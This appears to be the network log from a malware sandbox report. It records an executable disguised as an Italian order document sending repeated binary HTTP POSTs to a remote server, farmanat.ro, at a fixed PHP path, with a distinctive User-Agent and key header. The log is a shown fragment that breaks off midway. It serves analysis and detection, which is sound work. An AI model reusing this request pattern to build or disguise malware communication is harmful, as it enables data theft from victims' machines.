Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49816	197.242.150.64	443	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49817	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:47:54.204528093 CET	6223	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 178 Connection: close
Nov 25, 2021 10:47:54.380963087 CET	6224	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:47:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49845	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:06.992096901 CET	6319	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:07.107255936 CET	6319	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.11.20	49937	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.11.20	49938	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.11.20	49939	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.11.20	49940	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.11.20	49941	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.11.20	49942	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.11.20	49943	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.11.20	49944	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.11.20	49948	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.11.20	49949	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49846	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:07.734355927 CET	6321	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:07.818254948 CET	6321	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.11.20	49950	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.11.20	49951	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.11.20	49952	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.11.20	49953	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.11.20	49954	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.11.20	49955	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.11.20	49956	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.11.20	49957	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.11.20	49958	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.11.20	49959	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49847	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:08.418318987 CET	6322	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:08.506304979 CET	6323	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.11.20	49960	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.11.20	49961	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.11.20	49962	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.11.20	49964	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.11.20	49965	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.11.20	49966	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.11.20	49967	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.11.20	49968	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.11.20	49969	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.11.20	49970	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49848	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:09.107460976 CET	6323	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:09.192800045 CET	6324	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.11.20	49971	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.11.20	49972	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.11.20	49973	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.11.20	49974	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.11.20	49975	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.11.20	49976	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.11.20	49977	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.11.20	49978	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.11.20	49979	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.11.20	49980	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49849	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:09.857429981 CET	6325	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:09.977329016 CET	6325	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.11.20	49981	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.11.20	49982	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.11.20	49983	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.11.20	49984	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.11.20	49985	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.11.20	49986	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.11.20	49987	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.11.20	49988	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.11.20	49989	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.11.20	49990	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49850	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:10.692074060 CET	6326	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:10.784281969 CET	6327	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.11.20	49991	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.11.20	49992	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.11.20	49993	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.11.20	49994	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.11.20	49995	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.11.20	49996	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.11.20	49997	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.11.20	49998	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.11.20	49999	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.11.20	50000	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49851	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:11.469665051 CET	6327	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:11.553739071 CET	6328	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.11.20	50001	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.11.20	50002	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.11.20	50003	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.11.20	50004	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.11.20	50005	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.11.20	50006	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.11.20	50007	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.11.20	50008	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.11.20	50009	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.11.20	50010	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49852	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:12.137739897 CET	6329	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:12.222152948 CET	6329	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.11.20	50011	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.11.20	50012	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.11.20	50013	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.11.20	50014	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.11.20	50015	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.11.20	50016	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.11.20	50017	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.11.20	50018	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.11.20	50019	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.11.20	50020	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49853	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:12.876249075 CET	6330	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:12.958539963 CET	6331	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.11.20	50021	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.11.20	50022	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.11.20	50023	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.11.20	50024	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.11.20	50025	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.11.20	50026	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.11.20	50027	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.11.20	50029	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.11.20	50030	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.11.20	50031	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49854	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:13.646368980 CET	6331	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
